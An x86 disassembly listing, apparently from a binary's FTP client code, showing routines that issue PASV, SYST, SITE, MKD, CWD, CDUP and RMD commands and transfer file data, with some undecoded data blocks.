var_110		= byte ptr -110h
var_10C		= byte ptr -10Ch
var_108		= byte ptr -108h
var_104		= byte ptr -104h
arg_0		= dword	ptr  4
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		sub	esp, 134h
		push	ebx
		mov	ebx, [esp+138h+arg_0]
		push	ebp
		push	esi
		mov	eax, [ebx+18h]
		xor	ebp, ebp
		mov	esi, 1
		cmp	eax, ebp
		push	edi
		mov	[esp+144h+var_120], bp
		mov	[esp+144h+var_11E], bp
		mov	[esp+144h+var_11C], esi
		jnz	loc_42D8A4
		mov	eax, [esp+144h+arg_C]
		cmp	eax, esi
		jz	short loc_42D5E2
		cmp	eax, 2
		jz	short loc_42D5E2
		push	eax
		add	ebx, 44h
		push	offset aInvalidDirecti ; "Invalid direction %d\n"
		push	ebx
		nop
		call	near ptr 77C3F931h
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 134h
		retn
; ---------------------------------------------------------------------------


loc_42D5E2:				; CODE XREF: sub_42D580+3Aj
					; sub_42D580+3Fj
		mov	eax, [esp+144h+arg_8]
		cmp	eax, 41h
		jz	short loc_42D614
		cmp	eax, 49h
		jz	short loc_42D614
		push	eax
		add	ebx, 44h
		push	offset aInvalidModeC ; "Invalid	mode %c\n"
		push	ebx
		nop
		call	near ptr 77C3F931h
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 134h
		retn
; ---------------------------------------------------------------------------


loc_42D614:				; CODE XREF: sub_42D580+6Cj
					; sub_42D580+71j
		mov	eax, [ebx+24h]
		mov	[esp+144h+var_124], 10h
		cmp	eax, esi
		jnz	loc_42D6F9
		xor	eax, eax
		push	ebx
		mov	[esp+148h+var_134], eax
		push	32h
		mov	[esp+14Ch+var_130], eax
		push	offset aPasv	; "PASV"
		mov	[esp+150h+var_12C], eax
		mov	word ptr [esp+150h+var_134], 2
		mov	[esp+150h+var_128], eax
		call	sub_42D1A0
		add	esp, 0Ch
		test	eax, eax
		jz	loc_42D8A4
		lea	ecx, [ebx+44h]
		push	28h
		push	ecx
		call	near ptr 77C47660h
		nop
		add	esp, 8
		cmp	eax, ebp
		jz	loc_42D8A4
		lea	edx, [esp+144h+var_114]
		lea	ecx, [esp+144h+var_118]
		push	edx
		push	ecx
		lea	edx, [esp+14Ch+var_104]
		lea	ecx, [esp+14Ch+var_108]
		push	edx
		push	ecx
		lea	edx, [esp+154h+var_10C]
		lea	ecx, [esp+154h+var_110]
		push	edx
		push	ecx
		inc	eax
		push	offset aUUUUUU	; "%u,%u,%u,%u,%u,%u"
		push	eax
		nop
		call	near ptr 77C41B72h
		mov	dl, [esp+164h+var_110]
		mov	al, [esp+164h+var_10C]
		mov	cl, [esp+164h+var_108]
		mov	byte ptr [esp+164h+var_130], dl
		mov	dl, [esp+164h+var_104]
		mov	byte ptr [esp+164h+var_130+1], al
		mov	al, [esp+164h+var_118]
		mov	byte ptr [esp+164h+var_130+2], cl
		mov	cl, [esp+164h+var_114]
		add	esp, 20h
		mov	byte ptr [esp+144h+var_130+3], dl
		mov	byte ptr [esp+144h+var_134+2], al
		mov	byte ptr [esp+144h+var_134+3], cl
		push	6
		push	esi
		push	2
		call	sub_436F3C
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0FFFF83F8h, 50684D75h, 90004454h, 809709E8h,	4C48377h
		dd 5E5FC70Bh, 0C4815B5Dh, 134h
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------


loc_42D6F9:				; CODE XREF: sub_42D580+A1j
		mov	ecx, [ebx+8]
		lea	edx, [esp+144h+var_124]
		lea	eax, [esp+144h+var_134]
		push	edx
		push	eax
		push	ecx
		call	sub_436F2A
; ---------------------------------------------------------------------------
		dd 0BD7DC085h, 44557068h, 0D7E89000h, 83778096h, 0C03304C4h
		dd 5B5D5E5Fh, 134C481h,	8DC30000h, 6A282454h, 46A5204h
		dd 0FFFF68h, 45E85700h,	83000098h, 0A75FFF8h, 44544068h
		dd 147E900h, 448D0000h,	46A2424h, 806850h, 0FF680000h
		dd 570000FFh, 981FE8h, 0FFF88300h, 40680A75h, 0E9004454h
		dd 121h, 75247339h, 244C8D20h, 51106A10h, 97BCE857h, 0F8830000h
		dd 0EC850FFFh, 68000000h, 445240h, 0FCE9h, 24548D00h, 52106A10h
		dd 6C896657h, 85E81E24h, 83000097h, 775FFF8h, 44556868h
		dd 5610EB00h, 9760E857h, 0C0850000h, 6068217Dh,	90004455h
		dd 809625E8h, 4C48377h,	9730E857h, 5E5F0000h, 5BC0335Dh
		dd 134C481h, 8DC30000h,	8D202444h, 5010244Ch, 37E85751h
		dd 85000097h, 5F0D7DC0h, 0C0335D5Eh, 34C4815Bh,	0C3000001h
		dd 1324548Bh, 1224448Bh, 17244C8Bh, 0FFE281h, 0FF250000h
		dd 52000000h, 1A24548Bh, 0FFE181h, 8B500000h, 511D2444h
		dd 20244C8Bh, 0FFE281h,	0FF250000h, 52000000h, 0FFE181h
		dd 51500000h, 5C24548Dh, 44554468h, 0DEE85200h,	90778120h
		dd 24448D53h, 50326A68h, 0FFF93FE8h, 2CC483FFh,	1375C085h
		dd 9698E857h, 5E5F0000h, 5BC0335Dh, 134C481h, 68C30000h
		dd 144h, 0E83DE856h, 8B90777Fh,	8C483F0h, 2275F53Bh, 44543868h
		dd 9558E800h, 83907780h, 0E85704C4h, 9662h
; ---------------------------------------------------------------------------


loc_42D8A4:				; CODE XREF: sub_42D580+2Bj
					; sub_42D580+D2j ...
		pop	edi
		pop	esi
		pop	ebp
		or	eax, 0FFFFFFFFh
		pop	ebx
		add	esp, 134h
		retn
sub_42D580	endp

; ---------------------------------------------------------------------------
		dw 0BC83h
		dd 15024h, 41754100h, 200068h, 0EB41E800h, 8390777Fh, 0C53B04C4h
		dd 75144689h, 5438682Ch, 0E8900044h, 77809516h,	5704C483h
		dd 9621E8h, 0E8905600h,	777FE92Fh, 8304C483h, 5E5FFFC8h
		dd 0C4815B5Dh, 134h, 248C8BC3h,	154h, 89087E89h, 538B184Eh
		dd 28568928h, 892C438Bh, 4B8B2C46h, 344E8934h, 89284E8Bh
		dd 6E89386Eh, 3C438B40h, 4689CD3Bh, 390E753Ch, 9752C6Eh
		dd 575C53Bh, 0EB306E89h, 30538B06h, 8B305689h, 14C2484h
		dd 895F0000h, 0B85D5E30h, 1, 34C4815Bh,	0C3000001h, 90909090h
		dd 40h dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_42DA60	proc near		; CODE XREF: sub_42D2C0+1BEp

var_11C		= dword	ptr -11Ch
var_118		= dword	ptr -118h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
var_FC		= dword	ptr -0FCh
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 124h
		push	ebx
		mov	ebx, [esp+128h+arg_0]
		push	ebp
		push	esi
		mov	esi, [esp+130h+arg_4]
		mov	eax, [ebx+8]
		xor	ebp, ebp
		push	edi
		mov	ecx, [esi+8]
		mov	[esp+134h+var_FC], eax
		cmp	ecx, eax
		mov	[esp+134h+var_100], ecx
		mov	[esp+134h+var_104], 2
		mov	[esp+134h+var_118], ebp
		mov	[esp+134h+var_11C], 1Eh
		jge	short loc_42DAA2
		mov	ecx, eax


loc_42DAA2:				; CODE XREF: sub_42DA60+3Ej
		lea	eax, [esp+134h+var_11C]
		lea	edx, [esp+134h+var_104]
		push	eax
		push	ebp
		push	ebp
		inc	ecx
		push	edx
		push	ecx
		call	sub_436F12
sub_42DA60	endp

; ---------------------------------------------------------------------------
		db 83h,	0F8h, 0FFh
		dd 683E75h, 90000001h, 7F17F7E8h, 50008B77h, 972CE890h
		dd 0C4837780h, 44C68304h, 0E8905650h, 77819FB4h, 83084B8Bh
		dd 0E8510CC4h, 941Eh, 86B895Fh,	0C0335D5Eh, 24C4815Bh
		dd 0C3000001h, 2975C53Bh, 0B9447E8Dh, 8, 4455D0BEh, 0A4A5F300h
		dd 5208538Bh, 93F1E8h, 6B895F00h, 335D5E08h, 0C4815BC0h
		dd 124h, 84B8BC3h, 3024448Dh, 2DE85150h, 85000094h, 8B7A74C0h
		dd 548D084Bh, 448D1424h, 50522024h, 2444C751h, 1020h, 93BAE800h
		dd 0F88B0000h, 7F1763E8h, 108B9077h, 5008438Bh,	14245489h
		dd 939DE8h, 7EFD3B00h, 87B8913h, 0B85D5E5Fh, 1,	24C4815Bh
		dd 0C3000001h, 10244C8Bh, 10068h, 0E8905100h, 7780966Ah
		dd 8304C483h, 565044C6h, 9EF2E890h, 0C4837781h,	86B890Ch
		dd 5E5FC033h, 0C4815B5Dh, 124h,	8468BC3h, 3024548Dh, 0A1E85052h
		dd 85000093h, 8B2474C0h, 0E851084Bh, 933Ah, 89326A56h
		dd 39E8086Bh, 83FFFFEFh, 0C03308C4h, 5B5D5E5Fh,	124C481h
		dd 8BC30000h, 5F102444h, 815B5D5Eh, 124C4h, 9090C300h
		dd 2 dup(90909090h), 1Ch dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================



sub_42DC70	proc near		; CODE XREF: sub_402248j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_8]
		push	edi
		cmp	dword ptr [esi+18h], 1
		jz	short loc_42DC81
		pop	edi
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42DC81:				; CODE XREF: sub_42DC70+Aj
		mov	eax, [esi+14h]
		push	esi
		test	eax, eax
		jz	short loc_42DC9D
		mov	eax, [esp+0Ch+arg_4]
		mov	ecx, [esp+0Ch+arg_0]
		push	eax
		push	ecx
		call	sub_42CC50
		add	esp, 0Ch
		jmp	short loc_42DCC4
; ---------------------------------------------------------------------------


loc_42DC9D:				; CODE XREF: sub_42DC70+17j
		call	sub_42CE80
		add	esp, 4
		cmp	eax, 1
		jz	short loc_42DCAF
		pop	edi
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42DCAF:				; CODE XREF: sub_42DC70+38j
		mov	edx, [esp+8+arg_4]
		mov	eax, [esp+8+arg_0]
		mov	ecx, [esi+8]
		push	0
		push	edx
		push	eax
		push	ecx
		call	sub_436EFA
; ---------------------------------------------------------------------------


loc_42DCC4:				; CODE XREF: sub_42DC70+2Bj
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_42DCD0
		pop	edi
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42DCD0:				; CODE XREF: sub_42DC70+59j
		mov	ecx, [esi+38h]
		add	ecx, edi
		mov	[esi+38h], ecx
		mov	edx, ecx
		mov	ecx, [esi+30h]
		test	ecx, ecx
		jz	short loc_42DD0F
		mov	eax, [esi+3Ch]
		test	eax, eax
		jz	short loc_42DD0F
		push	ebx
		mov	ebx, [esi+40h]
		add	ebx, edi
		mov	[esi+40h], ebx
		cmp	ebx, eax
		pop	ebx
		jle	short loc_42DD0F
		mov	eax, [esi+34h]
		push	eax
		push	edx
		push	esi
		call	ecx
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_42DD08
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42DD08:				; CODE XREF: sub_42DC70+93j
		mov	dword ptr [esi+40h], 0


loc_42DD0F:				; CODE XREF: sub_42DC70+6Fj
					; sub_42DC70+76j ...
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_42DC70	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42DD50	proc near		; CODE XREF: sub_4021F3j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_8]
		push	edi
		cmp	dword ptr [esi+18h], 2
		jz	short loc_42DD61
		pop	edi
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42DD61:				; CODE XREF: sub_42DD50+Aj
		mov	eax, [esi+14h]
		push	esi
		test	eax, eax
		jz	short loc_42DD7D
		mov	eax, [esp+0Ch+arg_4]
		mov	ecx, [esp+0Ch+arg_0]
		push	eax
		push	ecx
		call	sub_42DE20
		add	esp, 0Ch
		jmp	short loc_42DD9A
; ---------------------------------------------------------------------------


loc_42DD7D:				; CODE XREF: sub_42DD50+17j
		call	sub_42CE80
		mov	edx, [esp+0Ch+arg_4]
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esi+8]
		add	esp, 4
		push	0
		push	edx
		push	eax
		push	ecx
		call	sub_436F00
; ---------------------------------------------------------------------------


loc_42DD9A:				; CODE XREF: sub_42DD50+2Bj
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_42DDA6
		pop	edi
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42DDA6:				; CODE XREF: sub_42DD50+4Fj
		mov	edx, [esi+38h]
		mov	eax, [esi+30h]
		add	edx, edi
		test	eax, eax
		mov	[esi+38h], edx
		jz	short loc_42DDDC
		mov	ecx, [esi+3Ch]
		test	ecx, ecx
		jz	short loc_42DDDC
		push	ebx
		mov	ebx, [esi+40h]
		add	ebx, edi
		mov	[esi+40h], ebx
		cmp	ebx, ecx
		pop	ebx
		jle	short loc_42DDDC
		mov	ecx, [esi+34h]
		push	ecx
		push	edx
		push	esi
		call	eax
		add	esp, 0Ch
		mov	dword ptr [esi+40h], 0


loc_42DDDC:				; CODE XREF: sub_42DD50+63j
					; sub_42DD50+6Aj ...
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_42DD50	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42DE20	proc near		; CODE XREF: sub_42DD50+23p
					; sub_42DFD0+28p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_8]
		push	esi
		xor	esi, esi
		xor	al, al
		mov	ecx, [ebp+18h]
		push	edi
		cmp	ecx, 2
		jz	short loc_42DE3C
		pop	edi
		pop	esi
		pop	ebp
		or	eax, 0FFFFFFFFh
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42DE3C:				; CODE XREF: sub_42DE20+12j
		mov	ecx, [esp+10h+arg_4]
		mov	edi, [ebp+14h]
		xor	ebx, ebx
		test	ecx, ecx
		jle	loc_42DF64


loc_42DE4D:				; CODE XREF: sub_42DE20+AFj
		mov	ecx, [esp+10h+arg_0]
		cmp	byte ptr [ebx+ecx], 0Ah
		jnz	short loc_42DE8E
		cmp	al, 0Dh
		jz	short loc_42DE8E
		cmp	esi, 2000h
		jnz	short loc_42DE89
		push	ebp
		call	sub_42CE80
		add	esp, 4
		test	eax, eax
		jz	short loc_42DEEA
		mov	edx, [ebp+8]
		push	0
		push	esi
		push	edi
		push	edx
		call	sub_436F00
; ---------------------------------------------------------------------------
		mov	esi, eax
		cmp	esi, 2000h
		jnz	short loc_42DEF1
		xor	esi, esi


loc_42DE89:				; CODE XREF: sub_42DE20+41j
		mov	byte ptr [edi+esi], 0Dh
		inc	esi


loc_42DE8E:				; CODE XREF: sub_42DE20+35j
					; sub_42DE20+39j
		cmp	esi, 2000h
		jnz	short loc_42DEBC
		push	ebp
		call	sub_42CE80
		add	esp, 4
		test	eax, eax
		jz	short loc_42DEEA
		mov	eax, [ebp+8]
		push	0
		push	esi
		push	edi
		push	eax
		call	sub_436F00
; ---------------------------------------------------------------------------
		mov	esi, eax
		cmp	esi, 2000h
		jnz	short loc_42DF11
		xor	esi, esi


loc_42DEBC:				; CODE XREF: sub_42DE20+74j
		mov	ecx, [esp+10h+arg_0]
		inc	esi
		mov	al, [ebx+ecx]
		mov	ecx, [esp+10h+arg_4]
		mov	[edi+esi-1], al
		inc	ebx
		cmp	ebx, ecx
		jl	loc_42DE4D
		test	esi, esi
		jz	loc_42DF64
		push	ebp
		call	sub_42CE80
		add	esp, 4
		test	eax, eax
		jnz	short loc_42DF31


loc_42DEEA:				; CODE XREF: sub_42DE20+4Ej
					; sub_42DE20+81j
		pop	edi
		pop	esi
		mov	eax, ebx
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42DEF1:				; CODE XREF: sub_42DE20+65j
		nop
		call	near ptr 77C1F2BCh
		mov	edx, [eax]
		push	edx
		push	esi
		push	offset aNet_write1Retu ; "net_write(1) returned	%d, errno = %d\n"
		nop
		call	near ptr 77C4186Ah
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42DF11:				; CODE XREF: sub_42DE20+98j
		nop
		call	near ptr 77C1F2BCh
		mov	eax, [eax]
		push	eax
		push	esi
		push	offset aNet_write2Retu ; "net_write(2) returned	%d, errno = %d\n"
		call	near ptr 77C4186Ah
		nop
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42DF31:				; CODE XREF: sub_42DE20+C8j
		mov	ecx, [ebp+8]
		push	0
		push	esi
		push	edi
		push	ecx
		call	sub_436F00
; ---------------------------------------------------------------------------
		dw 0F88Bh
		dd 2074FE3Bh, 1372E890h, 108B777Fh, 0F8685752h,	0E8004455h
		dd 77813912h, 0CC48390h, 5FFFC883h, 0C35B5D5Eh
; ---------------------------------------------------------------------------


loc_42DF64:				; CODE XREF: sub_42DE20+27j
					; sub_42DE20+B7j
		mov	eax, [esp+10h+arg_4]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_42DE20	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42DFD0	proc near		; CODE XREF: sub_401BDBj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	eax, [esi+18h]
		sub	eax, 0
		jz	short loc_42E04B
		dec	eax
		jz	short loc_42E000
		dec	eax
		jz	short loc_42DFEC


loc_42DFE4:				; CODE XREF: sub_42DFD0+64j
		pop	edi
		mov	eax, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42DFEC:				; CODE XREF: sub_42DFD0+12j
		mov	eax, [esi+14h]
		test	eax, eax
		jz	short loc_42E000
		push	esi
		push	0
		push	0
		call	sub_42DE20
		add	esp, 0Ch


loc_42E000:				; CODE XREF: sub_42DFD0+Fj
					; sub_42DFD0+21j
		mov	eax, [esi+14h]
		push	ebx
		mov	ebx, dword_50FAC4
		test	eax, eax
		jz	short loc_42E014
		push	eax
		call	ebx	; free
		add	esp, 4


loc_42E014:				; CODE XREF: sub_42DFD0+3Cj
		mov	eax, [esi+8]
		push	2
		push	eax
		call	sub_436F9C
; ---------------------------------------------------------------------------
		mov	ecx, [esi+8]
		push	ecx
		call	sub_436F06
; ---------------------------------------------------------------------------
		mov	edi, [esi+1Ch]
		push	esi
		call	ebx	; free
		add	esp, 4
		test	edi, edi
		pop	ebx
		jz	short loc_42DFE4
		push	edi
		push	32h
		mov	dword ptr [edi+20h], 0
		call	sub_42CB10
		add	esp, 8
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42E04B:				; CODE XREF: sub_42DFD0+Cj
		mov	eax, [esi+20h]
		test	eax, eax
		jz	short loc_42E062
		push	esi
		mov	dword ptr [esi+1Ch], 0
		call	sub_401BDB
		add	esp, 4


loc_42E062:				; CODE XREF: sub_42DFD0+80j
		mov	edx, [esi+8]
		push	edx
		call	sub_436F06
sub_42DFD0	endp

; ---------------------------------------------------------------------------
		db 56h
		dd 7FE1AAE8h, 0C4839077h, 5FC03304h, 9090C35Eh,	90909090h
		dd 0Ch dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------


loc_42E0B0:				; CODE XREF: ___:00401CE4j
		mov	edx, [esp+4]
		sub	esp, 100h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	edi
		mov	edi, edx
		repne scasb
		not	ecx
		add	ecx, 6
		pop	edi
		cmp	ecx, 100h
		jbe	short loc_42E0D9
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42E0D9:				; CODE XREF: ___:0042E0D0j
		push	edx
		lea	eax, [esp+4]
		push	offset aSiteS	; "SITE	%s"
		push	eax
		nop
		call	near ptr 77C3F931h
		mov	ecx, [esp+114h]
		lea	edx, [esp+0Ch]
		push	ecx
		push	32h
		push	edx
		call	sub_42D1A0
		add	esp, 18h
		neg	eax
		sbb	eax, eax
		neg	eax
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42E130:				; CODE XREF: ___:004016C2j
		push	esi
		mov	esi, [esp+8]
		push	edi
		mov	edi, [esp+14h]
		push	edi
		push	32h
		push	offset aSyst	; "SYST"
		call	sub_42D1A0
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_42E151
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42E151:				; CODE XREF: ___:0042E14Cj
		mov	eax, [esp+10h]
		lea	ecx, [edi+48h]
		lea	edx, [eax-1]
		test	edx, edx
		jz	short loc_42E16C


loc_42E15F:				; CODE XREF: ___:0042E16Aj
		mov	al, [ecx]
		cmp	al, 20h
		jz	short loc_42E16C
		mov	[esi], al
		inc	esi
		inc	ecx
		dec	edx
		jnz	short loc_42E15F


loc_42E16C:				; CODE XREF: ___:0042E15Dj
					; ___:0042E163j
		mov	byte ptr [esi],	0
		pop	edi
		mov	eax, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42E1A0:				; CODE XREF: ___:0040224Dj
		mov	edx, [esp+4]
		sub	esp, 100h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	edi
		mov	edi, edx
		repne scasb
		not	ecx
		add	ecx, 5
		pop	edi
		cmp	ecx, 100h
		jbe	short loc_42E1C9
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42E1C9:				; CODE XREF: ___:0042E1C0j
		push	edx
		lea	eax, [esp+4]
		push	offset aMkdS	; "MKD %s"
		push	eax
		nop
		call	near ptr 77C3F931h
		mov	ecx, [esp+114h]
		lea	edx, [esp+0Ch]
		push	ecx
		push	32h
		push	edx
		call	sub_42D1A0
		add	esp, 18h
		neg	eax
		sbb	eax, eax
		neg	eax
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42E220:				; CODE XREF: ___:0040225Cj
		mov	edx, [esp+4]
		sub	esp, 100h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	edi
		mov	edi, edx
		repne scasb
		not	ecx
		add	ecx, 5
		pop	edi
		cmp	ecx, 100h
		jbe	short loc_42E249
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42E249:				; CODE XREF: ___:0042E240j
		push	edx
		lea	eax, [esp+4]
		push	offset aCwdS	; "CWD %s"
		push	eax
		nop
		call	near ptr 77C3F931h
		mov	ecx, [esp+114h]
		lea	edx, [esp+0Ch]
		push	ecx
		push	32h
		push	edx
		call	sub_42D1A0
		add	esp, 18h
		neg	eax
		sbb	eax, eax
		neg	eax
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42E2A0:				; CODE XREF: ___:00401780j
		mov	eax, [esp+4]
		push	eax
		push	32h
		push	offset aCdup	; "CDUP"
		call	sub_42D1A0
		add	esp, 0Ch
		neg	eax
		sbb	eax, eax
		neg	eax
		retn
; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42E2D0:				; CODE XREF: ___:004021FDj
		mov	edx, [esp+4]
		sub	esp, 100h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	edi
		mov	edi, edx
		repne scasb
		not	ecx
		add	ecx, 5
		pop	edi
		cmp	ecx, 100h
		jbe	short loc_42E2F9
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42E2F9:				; CODE XREF: ___:0042E2F0j
		push	edx
		lea	eax, [esp+4]
		push	offset aRmdS	; "RMD %s"
		push	eax
		nop
		call	near ptr 77C3F931h
		mov	ecx, [esp+114h]
		lea	edx, [esp+0Ch]
		push	ecx
		push	32h
		push	edx
		call	sub_42D1A0
		add	esp, 18h
		neg	eax
		sbb	eax, eax
		neg	eax
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42E350:				; CODE XREF: ___:0040166Dj
		push	esi
		mov	esi, [esp+8]
		push	edi
		mov	edi, [esp+14h]
		push	edi
		push	32h
		push	offset off_4456BC
		call	sub_42D1A0
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_42E371
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42E371:				; CODE XREF: ___:0042E36Cj
		add	edi, 44h
		push	22h
		push	edi
		nop
		call	near ptr 77C47660h
		add	esp, 8
		test	eax, eax
		jnz	short loc_42E387
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42E387:				; CODE XREF: ___:0042E382j
		mov	ecx, [esp+10h]
		inc	eax
		lea	edx, [ecx-1]
		test	edx, edx
		jz	short loc_42E3A5


loc_42E393:				; CODE XREF: ___:0042E3A3j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_42E3A5
		cmp	cl, 22h
		jz	short loc_42E3A5
		mov	[esi], cl
		inc	esi
		inc	eax
		dec	edx
		jnz	short loc_42E393


loc_42E3A5:				; CODE XREF: ___:0042E391j
					; ___:0042E397j ...
		mov	byte ptr [esi],	0
		pop	edi
		mov	eax, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42E3D0:				; CODE XREF: ___:00401127j
		mov	eax, [esp+0Ch]
		mov	ecx, [esp+8]
		mov	edx, [esp+4]
		push	41h
		push	1
		push	eax
		push	ecx
		push	edx
		call	sub_42E400
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42E400	proc near		; CODE XREF: ___:0042E3E3p
					; ___:0042E663p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	ebx
		push	ebp
		xor	ebp, ebp
		push	esi
		push	edi
		mov	edi, [esp+14h+arg_10]
		cmp	eax, ebp
		mov	[esp+14h+var_4], 1
		jz	short loc_42E48A
		mov	esi, [esp+14h+arg_C]
		mov	cx, word_4456FC
		cmp	esi, 4
		mov	word ptr [esp+14h+arg_10], cx
		mov	word ptr [esp+14h+arg_10+2], bp
		jnz	short loc_42E43A
		mov	byte ptr [esp+14h+arg_10], 72h


loc_42E43A:				; CODE XREF: sub_42E400+33j
		cmp	edi, 49h
		jnz	short loc_42E444
		mov	byte ptr [esp+14h+arg_10+1], 62h


loc_42E444:				; CODE XREF: sub_42E400+3Dj
		lea	edx, [esp+14h+arg_10]
		push	edx
		push	eax
		call	near ptr 77C3F010h
		nop
		mov	ebx, eax
		add	esp, 8
		cmp	ebx, ebp
		jnz	short loc_42E4A4
		push	100h
		call	near ptr 77C1F2BCh
		nop
		mov	eax, [eax]
		push	eax
		call	near ptr 77C371FAh
		nop
		mov	ecx, [esp+1Ch+arg_8]
		add	esp, 4
		add	ecx, 44h
		push	eax
		push	ecx
		nop
		call	near ptr 77C47A90h
		add	esp, 0Ch
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_42E48A:				; CODE XREF: sub_42E400+19j
		mov	esi, [esp+14h+arg_C]
		cmp	esi, 4
		jnz	short loc_42E49B
		mov	ebx, dword_50FA84
		jmp	short loc_42E4A4
; ---------------------------------------------------------------------------


loc_42E49B:				; CODE XREF: sub_42E400+91j
		mov	edx, dword_50FA84
		lea	ebx, [edx+20h]


loc_42E4A4:				; CODE XREF: sub_42E400+57j
					; sub_42E400+99j
		mov	ecx, [esp+14h+arg_8]
		mov	edx, [esp+14h+arg_4]
		lea	eax, [esp+14h+arg_C]
		push	eax
		push	ecx
		push	edi
		push	esi
		push	edx
		call	sub_401F55
		add	esp, 14h
		test	eax, eax
		jnz	short loc_42E4C7
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_42E4C7:				; CODE XREF: sub_42E400+BFj
		push	2000h
		nop
		call	near ptr 77C2C407h
		add	esp, 4
		cmp	esi, 4
		mov	edi, eax
		jnz	short loc_42E53D
		mov	ebp, dword_50FAA4
		push	ebx
		push	2000h
		push	1
		push	edi
		call	ebp	; fread
		mov	esi, eax
		add	esp, 10h
		test	esi, esi
		jle	loc_42E593


loc_42E4FA:				; CODE XREF: sub_42E400+11Fj
		mov	eax, [esp+14h+arg_C]
		push	eax
		push	esi
		push	edi
		call	sub_4021F3
		add	esp, 0Ch
